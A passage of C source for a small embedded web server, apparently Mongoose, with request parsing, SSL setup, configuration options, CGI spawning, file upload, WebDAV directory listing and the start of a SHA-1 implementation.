!set_ssl_option(ctx) ||
#endif
!set_ports_option(ctx) ||
#if !defined(_WIN32)
!set_uid_option(ctx) ||
#endif
!set_acl_option(ctx)) {
free_context(ctx);
return NULL;
}
#if !defined(_WIN32) && !defined(__SYMBIAN32__)
// Ignore SIGPIPE signal, so if browser cancels the request, it
// won't kill the whole process.
(void) signal(SIGPIPE, SIG_IGN);
#endif // !_WIN32
mg_socketpair(ctx->ctl);
// Start master (listening) thread
mg_start_thread(master_thread, ctx);
// Start worker threads
for (i = 0; i < atoi(ctx->config[NUM_THREADS]); i++) {
if (mg_start_thread(worker_thread, ctx) != 0) {
cry(fc(ctx), "Cannot start worker thread: %ld", (long) ERRNO);
} else {
ctx->num_threads++;
}
}
return ctx;
}
#include "internal.h"
// This array must be in sync with enum in internal.h
static const char *config_options[] = {
"cgi_pattern", "**.cgi$|**.pl$|**.php$",
"cgi_environment", NULL,
"put_delete_auth_file", NULL,
"cgi_interpreter", NULL,
"protect_uri", NULL,
"authentication_domain", "mydomain.com",
"ssi_pattern", "**.shtml$|**.shtm$",
"access_log_file", NULL,
"enable_directory_listing", "yes",
"error_log_file", NULL,
"global_auth_file", NULL,
"index_files",
"index.html,index.htm,index.cgi,index.shtml,index.php,index.lp",
"enable_keep_alive", "no",
"access_control_list", NULL,
"extra_mime_types", NULL,
"listening_ports", "8080",
"document_root", NULL,
"ssl_certificate", NULL,
"num_threads", "50",
"run_as_user", NULL,
"url_rewrite_patterns", NULL,
"hide_files_patterns", NULL,
"request_timeout_ms", "30000",
NULL
};
const char **mg_get_valid_option_names(void) {
return config_options;
}
static int get_option_index(const char *name) {
int i;
for (i = 0; config_options[i * 2] != NULL; i++) {
if (strcmp(config_options[i * 2], name) == 0) {
return i;
}
}
return -1;
}
const char *mg_get_option(const struct mg_context *ctx, const char *name) {
int i;
if ((i = get_option_index(name)) == -1) {
return NULL;
} else if (ctx->config[i] == NULL) {
return "";
} else {
return ctx->config[i];
}
}
#include "internal.h"
static const char *month_names[] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
// Convert month to the month number. Return -1 on error, or month number
static int get_month_index(const char *s) {
int i;
for (i = 0; i < (int) ARRAY_SIZE(month_names); i++)
if (!strcmp(s, month_names[i]))
return i;
return -1;
}
static int num_leap_years(int year) {
return year / 4 - year / 100 + year / 400;
}
// Parse UTC date-time string, and return the corresponding time_t value.
static time_t parse_date_string(const char *datetime) {
static const unsigned short days_before_month[] = {
0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334
};
char month_str[32];
int second, minute, hour, day, month, year, leap_days, days;
time_t result = (time_t) 0;
if (((sscanf(datetime, "%d/%3s/%d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%d %3s %d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%*3s, %d %3s %d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%d-%3s-%d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6)) &&
year > 1970 &&
(month = get_month_index(month_str)) != -1) {
leap_days = num_leap_years(year) - num_leap_years(1970);
year -= 1970;
days = year * 365 + days_before_month[month] + (day - 1) + leap_days;
result = days * 24 * 3600 + hour * 3600 + minute * 60 + second;
}
return result;
}
#include "internal.h"
// Parse HTTP headers from the given buffer, advance buffer to the point
// where parsing stopped.
static void parse_http_headers(char **buf, struct mg_request_info *ri) {
int i;
for (i = 0; i < (int) ARRAY_SIZE(ri->http_headers); i++) {
ri->http_headers[i].name = skip_quoted(buf, ":", " ", 0);
ri->http_headers[i].value = skip(buf, "\r\n");
if (ri->http_headers[i].name[0] == '\0')
break;
ri->num_headers = i + 1;
}
}
static int is_valid_http_method(const char *method) {
return !strcmp(method, "GET") || !strcmp(method, "POST") ||
!strcmp(method, "HEAD") || !strcmp(method, "CONNECT") ||
!strcmp(method, "PUT") || !strcmp(method, "DELETE") ||
!strcmp(method, "OPTIONS") || !strcmp(method, "PROPFIND")
|| !strcmp(method, "MKCOL");
}
// Parse HTTP request, fill in mg_request_info structure.
// This function modifies the buffer by NUL-terminating
// HTTP request components, header names and header values.
static int parse_http_message(char *buf, int len, struct mg_request_info *ri) {
int is_request, request_length = get_request_len(buf, len);
if (request_length > 0) {
// Reset attributes. DO NOT TOUCH is_ssl, remote_ip, remote_port
ri->remote_user = ri->request_method = ri->uri = ri->http_version = NULL;
ri->num_headers = 0;
buf[request_length - 1] = '\0';
// RFC says that all initial whitespaces should be ingored
while (*buf != '\0' && isspace(* (unsigned char *) buf)) {
buf++;
}
ri->request_method = skip(&buf, " ");
ri->uri = skip(&buf, " ");
ri->http_version = skip(&buf, "\r\n");
// HTTP message could be either HTTP request or HTTP response, e.g.
// "GET / HTTP/1.0 ...." or "HTTP/1.0 200 OK ..."
is_request = is_valid_http_method(ri->request_method);
if ((is_request && memcmp(ri->http_version, "HTTP/", 5) != 0) ||
(!is_request && memcmp(ri->request_method, "HTTP/", 5) != 0)) {
request_length = -1;
} else {
if (is_request) {
ri->http_version += 5;
}
parse_http_headers(&buf, ri);
}
}
return request_length;
}
static int parse_range_header(const char *header, int64_t *a, int64_t *b) {
return sscanf(header, "bytes=%" INT64_FMT "-%" INT64_FMT, a, b);
}
#include "internal.h"
#if !defined(NO_SSL)
// set_ssl_option() function updates this array.
// It loads SSL library dynamically and changes NULLs to the actual addresses
// of respective functions. The macros above (like SSL_connect()) are really
// just calling these functions indirectly via the pointer.
static struct ssl_func ssl_sw[] = {
{"SSL_free", NULL},
{"SSL_accept", NULL},
{"SSL_connect", NULL},
{"SSL_read", NULL},
{"SSL_write", NULL},
{"SSL_get_error", NULL},
{"SSL_set_fd", NULL},
{"SSL_new", NULL},
{"SSL_CTX_new", NULL},
{"SSLv23_server_method", NULL},
{"SSL_library_init", NULL},
{"SSL_CTX_use_PrivateKey_file", NULL},
{"SSL_CTX_use_certificate_file",NULL},
{"SSL_CTX_set_default_passwd_cb",NULL},
{"SSL_CTX_free", NULL},
{"SSL_load_error_strings", NULL},
{"SSL_CTX_use_certificate_chain_file", NULL},
{"SSLv23_client_method", NULL},
{"SSL_pending", NULL},
{"SSL_CTX_set_verify", NULL},
{"SSL_shutdown", NULL},
{NULL, NULL}
};
// Similar array as ssl_sw. These functions could be located in different lib.
static struct ssl_func crypto_sw[] = {
{"CRYPTO_num_locks", NULL},
{"CRYPTO_set_locking_callback", NULL},
{"CRYPTO_set_id_callback", NULL},
{"ERR_get_error", NULL},
{"ERR_error_string", NULL},
{NULL, NULL}
};
static pthread_mutex_t *ssl_mutexes;
static int sslize(struct mg_connection *conn, SSL_CTX *s, int (*func)(SSL *)) {
return (conn->ssl = SSL_new(s)) != NULL &&
SSL_set_fd(conn->ssl, conn->client.sock) == 1 &&
func(conn->ssl) == 1;
}
// Return OpenSSL error message
static const char *ssl_error(void) {
unsigned long err;
err = ERR_get_error();
return err == 0 ? "" : ERR_error_string(err, NULL);
}
static void ssl_locking_callback(int mode, int mutex_num, const char *file,
int line) {
(void) line;
(void) file;
if (mode & 1) { // 1 is CRYPTO_LOCK
(void) pthread_mutex_lock(&ssl_mutexes[mutex_num]);
} else {
(void) pthread_mutex_unlock(&ssl_mutexes[mutex_num]);
}
}
static unsigned long ssl_id_callback(void) {
return (unsigned long) pthread_self();
}
#if !defined(NO_SSL_DL)
static int load_dll(struct mg_context *ctx, const char *dll_name,
struct ssl_func *sw) {
union {void *p; void (*fp)(void);} u;
void *dll_handle;
struct ssl_func *fp;
if ((dll_handle = dlopen(dll_name, RTLD_LAZY)) == NULL) {
cry(fc(ctx), "%s: cannot load %s", __func__, dll_name);
return 0;
}
for (fp = sw; fp->name != NULL; fp++) {
#ifdef _WIN32
// GetProcAddress() returns pointer to function
u.fp = (void (*)(void)) dlsym(dll_handle, fp->name);
#else
// dlsym() on UNIX returns void *. ISO C forbids casts of data pointers to
// function pointers. We need to use a union to make a cast.
u.p = dlsym(dll_handle, fp->name);
#endif // _WIN32
if (u.fp == NULL) {
cry(fc(ctx), "%s: %s: cannot find %s", __func__, dll_name, fp->name);
return 0;
} else {
fp->ptr = u.fp;
}
}
return 1;
}
#endif // NO_SSL_DL
// Dynamically load SSL library. Set up ctx->ssl_ctx pointer.
static int set_ssl_option(struct mg_context *ctx) {
int i, size;
const char *pem;
// If PEM file is not specified and the init_ssl callback
// is not specified, skip SSL initialization.
if ((pem = ctx->config[SSL_CERTIFICATE]) == NULL) {
// MG_INIT_SSL
// ctx->callbacks.init_ssl == NULL) {
return 1;
}
#if !defined(NO_SSL_DL)
if (!load_dll(ctx, SSL_LIB, ssl_sw) ||
!load_dll(ctx, CRYPTO_LIB, crypto_sw)) {
return 0;
}
#endif // NO_SSL_DL
// Initialize SSL library
SSL_library_init();
SSL_load_error_strings();
if ((ctx->ssl_ctx = SSL_CTX_new(SSLv23_server_method())) == NULL) {
cry(fc(ctx), "SSL_CTX_new (server) error: %s", ssl_error());
return 0;
}
// If user callback returned non-NULL, that means that user callback has
// set up certificate itself. In this case, skip sertificate setting.
// MG_INIT_SSL
if (SSL_CTX_use_certificate_file(ctx->ssl_ctx, pem, 1) == 0 ||
SSL_CTX_use_PrivateKey_file(ctx->ssl_ctx, pem, 1) == 0) {
cry(fc(ctx), "%s: cannot open %s: %s", __func__, pem, ssl_error());
return 0;
}
if (pem != NULL) {
(void) SSL_CTX_use_certificate_chain_file(ctx->ssl_ctx, pem);
}
// Initialize locking callbacks, needed for thread safety.
// http://www.openssl.org/support/faq.html#PROG1
size = sizeof(pthread_mutex_t) * CRYPTO_num_locks();
if ((ssl_mutexes = (pthread_mutex_t *) malloc((size_t)size)) == NULL) {
cry(fc(ctx), "%s: cannot allocate mutexes: %s", __func__, ssl_error());
return 0;
}
for (i = 0; i < CRYPTO_num_locks(); i++) {
pthread_mutex_init(&ssl_mutexes[i], NULL);
}
CRYPTO_set_locking_callback(&ssl_locking_callback);
CRYPTO_set_id_callback(&ssl_id_callback);
return 1;
}
static void uninitialize_ssl(struct mg_context *ctx) {
int i;
if (ctx->ssl_ctx != NULL) {
CRYPTO_set_locking_callback(NULL);
for (i = 0; i < CRYPTO_num_locks(); i++) {
pthread_mutex_destroy(&ssl_mutexes[i]);
}
CRYPTO_set_locking_callback(NULL);
CRYPTO_set_id_callback(NULL);
}
}
#endif // !NO_SSL
#include "internal.h"
static void mg_strlcpy(register char *dst, register const char *src, size_t n) {
for (; *src != '\0' && n > 1; n--) {
*dst++ = *src++;
}
*dst = '\0';
}
static int lowercase(const char *s) {
return tolower(* (const unsigned char *) s);
}
static int mg_strncasecmp(const char *s1, const char *s2, size_t len) {
int diff = 0;
if (len > 0)
do {
diff = lowercase(s1++) - lowercase(s2++);
} while (diff == 0 && s1[-1] != '\0' && --len > 0);
return diff;
}
static int mg_strcasecmp(const char *s1, const char *s2) {
int diff;
do {
diff = lowercase(s1++) - lowercase(s2++);
} while (diff == 0 && s1[-1] != '\0');
return diff;
}
static char * mg_strndup(const char *ptr, size_t len) {
char *p;
if ((p = (char *) malloc(len + 1)) != NULL) {
mg_strlcpy(p, ptr, len + 1);
}
return p;
}
static char * mg_strdup(const char *str) {
return mg_strndup(str, strlen(str));
}
static const char *mg_strcasestr(const char *big_str, const char *small_str) {
int i, big_len = strlen(big_str), small_len = strlen(small_str);
for (i = 0; i <= big_len - small_len; i++) {
if (mg_strncasecmp(big_str + i, small_str, small_len) == 0) {
return big_str + i;
}
}
return NULL;
}
// Like snprintf(), but never returns negative value, or a value
// that is larger than a supplied buffer.
// Thanks to Adam Zeldis to pointing snprintf()-caused vulnerability
// in his audit report.
static int mg_vsnprintf(char *buf, size_t buflen, const char *fmt, va_list ap) {
int n;
if (buflen == 0) {
return 0;
}
n = vsnprintf(buf, buflen, fmt, ap);
if (n < 0) {
n = 0;
} else if (n >= (int) buflen) {
n = (int) buflen - 1;
}
buf[n] = '\0';
return n;
}
static int mg_snprintf(char *buf, size_t buflen,
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(3, 4);
static int mg_snprintf(char *buf, size_t buflen, const char *fmt, ...) {
va_list ap;
int n;
va_start(ap, fmt);
n = mg_vsnprintf(buf, buflen, fmt, ap);
va_end(ap);
return n;
}
// Skip the characters until one of the delimiters characters found.
// 0-terminate resulting word. Skip the delimiter and following whitespaces.
// Advance pointer to buffer to the next word. Return found 0-terminated word.
// Delimiters can be quoted with quotechar.
static char *skip_quoted(char **buf, const char *delimiters,
const char *whitespace, char quotechar) {
char *p, *begin_word, *end_word, *end_whitespace;
begin_word = *buf;
end_word = begin_word + strcspn(begin_word, delimiters);
// Check for quotechar
if (end_word > begin_word) {
p = end_word - 1;
while (*p == quotechar) {
// If there is anything beyond end_word, copy it
if (*end_word == '\0') {
*p = '\0';
break;
} else {
size_t end_off = strcspn(end_word + 1, delimiters);
memmove (p, end_word, end_off + 1);
p += end_off; // p must correspond to end_word - 1
end_word += end_off + 1;
}
}
for (p++; p < end_word; p++) {
*p = '\0';
}
}
if (*end_word == '\0') {
*buf = end_word;
} else {
end_whitespace = end_word + 1 + strspn(end_word + 1, whitespace);
for (p = end_word; p < end_whitespace; p++) {
*p = '\0';
}
*buf = end_whitespace;
}
return begin_word;
}
// Simplified version of skip_quoted without quote char
// and whitespace == delimiters
static char *skip(char **buf, const char *delimiters) {
return skip_quoted(buf, delimiters, delimiters, 0);
}
// Return HTTP header value, or NULL if not found.
static const char *get_header(const struct mg_request_info *ri,
const char *name) {
int i;
for (i = 0; i < ri->num_headers; i++)
if (!mg_strcasecmp(name, ri->http_headers[i].name))
return ri->http_headers[i].value;
return NULL;
}
const char *mg_get_header(const struct mg_connection *conn, const char *name) {
return get_header(&conn->request_info, name);
}
// A helper function for traversing a comma separated list of values.
// It returns a list pointer shifted to the next value, or NULL if the end
// of the list found.
// Value is stored in val vector. If value has form "x=y", then eq_val
// vector is initialized to point to the "y" part, and val vector length
// is adjusted to point only to "x".
static const char *next_option(const char *list, struct vec *val,
struct vec *eq_val) {
if (list == NULL || *list == '\0') {
// End of the list
list = NULL;
} else {
val->ptr = list;
if ((list = strchr(val->ptr, ',')) != NULL) {
// Comma found. Store length and shift the list ptr
val->len = list - val->ptr;
list++;
} else {
// This value is the last one
list = val->ptr + strlen(val->ptr);
val->len = list - val->ptr;
}
if (eq_val != NULL) {
// Value has form "x=y", adjust pointers and lengths
// so that val points to "x", and eq_val points to "y".
eq_val->len = 0;
eq_val->ptr = (const char *) memchr(val->ptr, '=', val->len);
if (eq_val->ptr != NULL) {
eq_val->ptr++; // Skip over '=' character
eq_val->len = val->ptr + val->len - eq_val->ptr;
val->len = (eq_val->ptr - val->ptr) - 1;
}
}
}
return list;
}
// Perform case-insensitive match of string against pattern
static int match_prefix(const char *pattern, int pattern_len, const char *str) {
const char *or_str;
int i, j, len, res;
if ((or_str = (const char *) memchr(pattern, '|', pattern_len)) != NULL) {
res = match_prefix(pattern, or_str - pattern, str);
return res > 0 ? res :
match_prefix(or_str + 1, (pattern + pattern_len) - (or_str + 1), str);
}
i = j = 0;
res = -1;
for (; i < pattern_len; i++, j++) {
if (pattern[i] == '?' && str[j] != '\0') {
continue;
} else if (pattern[i] == '$') {
return str[j] == '\0' ? j : -1;
} else if (pattern[i] == '*') {
i++;
if (pattern[i] == '*') {
i++;
len = (int) strlen(str + j);
} else {
len = (int) strcspn(str + j, "/");
}
if (i == pattern_len) {
return j + len;
}
do {
res = match_prefix(pattern + i, pattern_len - i, str + j + len);
} while (res == -1 && len-- > 0);
return res == -1 ? -1 : j + res + len;
} else if (lowercase(&pattern[i]) != lowercase(&str[j])) {
return -1;
}
}
return j;
}
// Protect against directory disclosure attack by removing '..',
// excessive '/' and '\' characters
static void remove_double_dots_and_double_slashes(char *s) {
char *p = s;
while (*s != '\0') {
*p++ = *s++;
if (s[-1] == '/' || s[-1] == '\\') {
// Skip all following slashes, backslashes and double-dots
while (s[0] != '\0') {
if (s[0] == '/' || s[0] == '\\') {
s++;
} else if (s[0] == '.' && s[1] == '.') {
s += 2;
} else {
break;
}
}
}
}
*p = '\0';
}
void mg_url_encode(const char *src, char *dst, size_t dst_len) {
static const char *dont_escape = "._-$,;~()";
static const char *hex = "0123456789abcdef";
const char *end = dst + dst_len - 1;
for (; *src != '\0' && dst < end; src++, dst++) {
if (isalnum(*(const unsigned char *) src) ||
strchr(dont_escape, * (const unsigned char *) src) != NULL) {
*dst = *src;
} else if (dst + 2 < end) {
dst[0] = '%';
dst[1] = hex[(* (const unsigned char *) src) >> 4];
dst[2] = hex[(* (const unsigned char *) src) & 0xf];
dst += 2;
}
}
*dst = '\0';
}
int mg_url_decode(const char *src, int src_len, char *dst,
int dst_len, int is_form_url_encoded) {
int i, j, a, b;
#define HEXTOI(x) (isdigit(x) ? x - '0' : x - 'W')
for (i = j = 0; i < src_len && j < dst_len - 1; i++, j++) {
if (src[i] == '%' && i < src_len - 2 &&
isxdigit(* (const unsigned char *) (src + i + 1)) &&
isxdigit(* (const unsigned char *) (src + i + 2))) {
a = tolower(* (const unsigned char *) (src + i + 1));
b = tolower(* (const unsigned char *) (src + i + 2));
dst[j] = (char) ((HEXTOI(a) << 4) | HEXTOI(b));
i += 2;
} else if (is_form_url_encoded && src[i] == '+') {
dst[j] = ' ';
} else {
dst[j] = src[i];
}
}
dst[j] = '\0'; // Null-terminate the destination
return i >= src_len ? j : -1;
}
// Check whether full request is buffered. Return:
// -1 if request is malformed
// 0 if request is not yet fully buffered
// >0 actual request length, including last \r\n\r\n
static int get_request_len(const char *buf, int buf_len) {
int i;
for (i = 0; i < buf_len; i++) {
// Control characters are not allowed but >=128 is.
// Abort scan as soon as one malformed character is found;
// don't let subsequent \r\n\r\n win us over anyhow
if (!isprint(* (const unsigned char *) &buf[i]) && buf[i] != '\r' &&
buf[i] != '\n' && * (const unsigned char *) &buf[i] < 128) {
return -1;
} else if (buf[i] == '\n' && i + 1 < buf_len && buf[i + 1] == '\n') {
return i + 2;
} else if (buf[i] == '\n' && i + 2 < buf_len && buf[i + 1] == '\r' &&
buf[i + 2] == '\n') {
return i + 3;
}
}
return 0;
}
int mg_get_cookie(const char *cookie_header, const char *var_name,
char *dst, size_t dst_size) {
const char *s, *p, *end;
int name_len, len = -1;
if (dst == NULL || dst_size == 0) {
len = -2;
} else if (var_name == NULL || (s = cookie_header) == NULL) {
len = -1;
dst[0] = '\0';
} else {
name_len = (int) strlen(var_name);
end = s + strlen(s);
dst[0] = '\0';
for (; (s = mg_strcasestr(s, var_name)) != NULL; s += name_len) {
if (s[name_len] == '=') {
s += name_len + 1;
if ((p = strchr(s, ' ')) == NULL)
p = end;
if (p[-1] == ';')
p--;
if (*s == '"' && p[-1] == '"' && p > s + 1) {
s++;
p--;
}
if ((size_t) (p - s) < dst_size) {
len = p - s;
mg_strlcpy(dst, s, (size_t) len + 1);
} else {
len = -3;
}
break;
}
}
}
return len;
}
int mg_get_var(const char *data, size_t data_len, const char *name,
char *dst, size_t dst_len) {
const char *p, *e, *s;
size_t name_len;
int len;
if (dst == NULL || dst_len == 0) {
len = -2;
} else if (data == NULL || name == NULL || data_len == 0) {
len = -1;
dst[0] = '\0';
} else {
name_len = strlen(name);
e = data + data_len;
len = -1;
dst[0] = '\0';
// data is "var1=val1&var2=val2...". Find variable first
for (p = data; p + name_len < e; p++) {
if ((p == data || p[-1] == '&') && p[name_len] == '=' &&
!mg_strncasecmp(name, p, name_len)) {
// Point p to variable value
p += name_len + 1;
// Point s to the end of the value
s = (const char *) memchr(p, '&', (size_t)(e - p));
if (s == NULL) {
s = e;
}
assert(s >= p);
// Decode variable into destination buffer
len = mg_url_decode(p, (size_t)(s - p), dst, dst_len, 1);
// Redirect error code from -1 to -2 (destination buffer too small).
if (len == -1) {
len = -2;
}
break;
}
}
}
return len;
}
#include "internal.h"
#if !defined(_WIN32)
static int mg_stat(const char *path, struct file *filep) {
struct stat st;
filep->modification_time = (time_t) 0;
if (stat(path, &st) == 0) {
filep->size = st.st_size;
filep->modification_time = st.st_mtime;
filep->is_directory = S_ISDIR(st.st_mode);
// See https://github.com/cesanta/mongoose/issues/109
// Some filesystems report modification time as 0. Artificially
// bump it up to mark mg_stat() success.
if (filep->modification_time == (time_t) 0) {
filep->modification_time = (time_t) 1;
}
}
return filep->modification_time != (time_t) 0;
}
static void set_close_on_exec(int fd) {
fcntl(fd, F_SETFD, FD_CLOEXEC);
}
int mg_start_thread(mg_thread_func_t func, void *param) {
pthread_t thread_id;
pthread_attr_t attr;
int result;
(void) pthread_attr_init(&attr);
(void) pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
#if USE_STACK_SIZE > 1
// Compile-time option to control stack size, e.g. -DUSE_STACK_SIZE=16384
(void) pthread_attr_setstacksize(&attr, USE_STACK_SIZE);
#endif
result = pthread_create(&thread_id, &attr, func, param);
pthread_attr_destroy(&attr);
return result;
}
#ifndef NO_CGI
static pid_t spawn_process(struct mg_connection *conn, const char *prog,
char *envblk, char *envp[], int fdin,
int fdout, const char *dir) {
pid_t pid;
const char *interp;
(void) envblk;
if ((pid = fork()) == -1) {
// Parent
send_http_error(conn, 500, http_500_error, "fork(): %s", strerror(ERRNO));
} else if (pid == 0) {
// Child
if (chdir(dir) != 0) {
cry(conn, "%s: chdir(%s): %s", __func__, dir, strerror(ERRNO));
} else if (dup2(fdin, 0) == -1) {
cry(conn, "%s: dup2(%d, 0): %s", __func__, fdin, strerror(ERRNO));
} else if (dup2(fdout, 1) == -1) {
cry(conn, "%s: dup2(%d, 1): %s", __func__, fdout, strerror(ERRNO));
} else {
// Not redirecting stderr to stdout, to avoid output being littered
// with the error messages.
(void) close(fdin);
(void) close(fdout);
// After exec, all signal handlers are restored to their default values,
// with one exception of SIGCHLD. According to POSIX.1-2001 and Linux's
// implementation, SIGCHLD's handler will leave unchanged after exec
// if it was set to be ignored. Restore it to default action.
signal(SIGCHLD, SIG_DFL);
interp = conn->ctx->config[CGI_INTERPRETER];
if (interp == NULL) {
(void) execle(prog, prog, NULL, envp);
cry(conn, "%s: execle(%s): %s", __func__, prog, strerror(ERRNO));
} else {
(void) execle(interp, interp, prog, NULL, envp);
cry(conn, "%s: execle(%s %s): %s", __func__, interp, prog,
strerror(ERRNO));
}
}
exit(EXIT_FAILURE);
}
return pid;
}
#endif // !NO_CGI
static int set_non_blocking_mode(SOCKET sock) {
int flags;
flags = fcntl(sock, F_GETFL, 0);
(void) fcntl(sock, F_SETFL, flags | O_NONBLOCK);
return 0;
}
#endif // _WIN32
#include "internal.h"
FILE *mg_upload(struct mg_connection *conn, const char *destination_dir,
char *path, int path_len) {
const char *content_type_header, *boundary_start;
char *buf, fname[1024], boundary[100], *s, *p;
int bl, n, i, j, headers_len, boundary_len, eof, buf_len, to_read, len = 0;
FILE *fp;
// Request looks like this:
//
// POST /upload HTTP/1.1
// Host: 127.0.0.1:8080
// Content-Length: 244894
// Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRVr
//
// ------WebKitFormBoundaryRVr
// Content-Disposition: form-data; name="file"; filename="accum.png"
// Content-Type: image/png
//
// <89>PNG
// <PNG DATA>
// ------WebKitFormBoundaryRVr
// Extract boundary string from the Content-Type header
if ((content_type_header = mg_get_header(conn, "Content-Type")) == NULL ||
(boundary_start = mg_strcasestr(content_type_header,
"boundary=")) == NULL ||
(sscanf(boundary_start, "boundary=\"%99[^\"]\"", boundary) == 0 &&
sscanf(boundary_start, "boundary=%99s", boundary) == 0) ||
boundary[0] == '\0') {
return NULL;
}
boundary_len = strlen(boundary);
bl = boundary_len + 4; // \r\n--<boundary>
// buf
// conn->buf |<--------- buf_len ------>|
// |=================|==========|===============|
// |<--request_len-->|<--len--->| |
// |<-----------data_len------->| conn->buf + conn->buf_size
buf = conn->buf + conn->request_len;
buf_len = conn->buf_size - conn->request_len;
len = conn->data_len - conn->request_len;
for (;;) {
// Pull in headers
assert(len >= 0 && len <= buf_len);
to_read = buf_len - len;
if (to_read > left_to_read(conn)) {
to_read = (int) left_to_read(conn);
}
while (len < buf_len &&
(n = pull(NULL, conn, buf + len, to_read)) > 0) {
len += n;
}
if ((headers_len = get_request_len(buf, len)) <= 0) {
break;
}
// Fetch file name.
fname[0] = '\0';
for (i = j = 0; i < headers_len; i++) {
if (buf[i] == '\r' && buf[i + 1] == '\n') {
buf[i] = buf[i + 1] = '\0';
// TODO(lsm): don't expect filename to be the 3rd field,
// parse the header properly instead.
sscanf(&buf[j], "Content-Disposition: %*s %*s filename=\"%1023[^\"]",
fname);
j = i + 2;
}
}
// Give up if the headers are not what we expect
if (fname[0] == '\0') {
break;
}
// Move data to the beginning of the buffer
assert(len >= headers_len);
memmove(buf, &buf[headers_len], len - headers_len);
len -= headers_len;
conn->data_len = conn->request_len + len;
// We open the file with exclusive lock held. This guarantee us
// there is no other thread can save into the same file simultaneously.
fp = NULL;
// Construct destination file name. Do not allow paths to have slashes.
s = fname;
if ((p = strrchr(fname, '/')) != NULL && p > s) s = p;
if ((p = strrchr(fname, '\\')) != NULL && p > s) s = p;
// Open file in binary mode. TODO: set an exclusive lock.
snprintf(path, path_len, "%s/%s", destination_dir, s);
if ((fp = fopen(path, "wb")) == NULL) {
break;
}
// Read POST data, write into file until boundary is found.
eof = n = 0;
do {
len += n;
for (i = 0; i < len - bl; i++) {
if (!memcmp(&buf[i], "\r\n--", 4) &&
!memcmp(&buf[i + 4], boundary, boundary_len)) {
// Found boundary, that's the end of file data.
fwrite(buf, 1, i, fp);
eof = 1;
memmove(buf, &buf[i + bl], len - (i + bl));
len -= i + bl;
break;
}
}
if (!eof && len > bl) {
fwrite(buf, 1, len - bl, fp);
memmove(buf, &buf[len - bl], bl);
len = bl;
}
to_read = buf_len - len;
if (to_read > left_to_read(conn)) {
to_read = (int) left_to_read(conn);
}
} while (!eof && (n = pull(NULL, conn, buf + len, to_read)) > 0);
conn->data_len = conn->request_len + len;
if (eof) {
rewind(fp);
return fp;
} else {
fclose(fp);
}
}
return NULL;
}
#include "internal.h"
// Return fake connection structure. Used for logging, if connection
// is not applicable at the moment of logging.
static struct mg_connection *fc(struct mg_context *ctx) {
static struct mg_connection fake_connection;
fake_connection.ctx = ctx;
// See https://github.com/cesanta/mongoose/issues/236
fake_connection.event.user_data = ctx->user_data;
return &fake_connection;
}
static void sockaddr_to_string(char *buf, size_t len,
const union usa *usa) {
buf[0] = '\0';
#if defined(USE_IPV6)
inet_ntop(usa->sa.sa_family, usa->sa.sa_family == AF_INET ?
(void *) &usa->sin.sin_addr :
(void *) &usa->sin6.sin6_addr, buf, len);
#elif defined(_WIN32)
// Only Windoze Vista (and newer) have inet_ntop()
strncpy(buf, inet_ntoa(usa->sin.sin_addr), len);
#else
inet_ntop(usa->sa.sa_family, (void *) &usa->sin.sin_addr, buf, len);
#endif
}
static void gmt_time_string(char *buf, size_t buf_len, time_t *t) {
strftime(buf, buf_len, "%a, %d %b %Y %H:%M:%S GMT", gmtime(t));
}
#include "internal.h"
// Writes PROPFIND properties for a collection element
static void print_props(struct mg_connection *conn, const char* uri,
struct file *filep) {
char mtime[64];
gmt_time_string(mtime, sizeof(mtime), &filep->modification_time);
conn->num_bytes_sent += mg_printf(conn,
"<d:response>"
"<d:href>%s</d:href>"
"<d:propstat>"
"<d:prop>"
"<d:resourcetype>%s</d:resourcetype>"
"<d:getcontentlength>%" INT64_FMT "</d:getcontentlength>"
"<d:getlastmodified>%s</d:getlastmodified>"
"</d:prop>"
"<d:status>HTTP/1.1 200 OK</d:status>"
"</d:propstat>"
"</d:response>\n",
uri,
filep->is_directory ? "<d:collection/>" : "",
filep->size,
mtime);
}
static void print_dav_dir_entry(struct de *de, void *data) {
char href[PATH_MAX];
char href_encoded[PATH_MAX];
struct mg_connection *conn = (struct mg_connection *) data;
mg_snprintf(href, sizeof(href), "%s%s",
conn->request_info.uri, de->file_name);
mg_url_encode(href, href_encoded, PATH_MAX-1);
print_props(conn, href_encoded, &de->file);
}
static void handle_propfind(struct mg_connection *conn, const char *path,
struct file *filep) {
const char *depth = mg_get_header(conn, "Depth");
conn->must_close = 1;
conn->status_code = 207;
mg_printf(conn, "HTTP/1.1 207 Multi-Status\r\n"
"Connection: close\r\n"
"Content-Type: text/xml; charset=utf-8\r\n\r\n");
conn->num_bytes_sent += mg_printf(conn,
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<d:multistatus xmlns:d='DAV:'>\n");
// Print properties for the requested resource itself
print_props(conn, conn->request_info.uri, filep);
// If it is a directory, print directory entries too if Depth is not 0
if (filep->is_directory &&
!mg_strcasecmp(conn->ctx->config[ENABLE_DIRECTORY_LISTING], "yes") &&
(depth == NULL || strcmp(depth, "0") != 0)) {
scan_directory(conn, path, conn, &print_dav_dir_entry);
}
conn->num_bytes_sent += mg_printf(conn, "%s\n", "</d:multistatus>");
}
#include "internal.h"
#if defined(USE_WEBSOCKET)
// START OF SHA-1 code
// Copyright(c) By Steve Reid <steve@edmweb.com>
#define SHA1HANDSOFF
#if defined(__sun)
#include "solarisfixes.h"
#endif
union char64long16 { unsigned char c[64]; uint32_t l[16]; };
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
static uint32_t blk0(union char64long16 *block, int i) {
// Forrest: SHA expect BIG_ENDIAN, swap if LITTLE_ENDIAN
if (!is_big_endian()) {
block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) |
(rol(block->l[i], 8) & 0x00FF00FF);
}
return block->l[i];
}
#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
^block->l[(i+2)&15]^block->l[i&15],1))
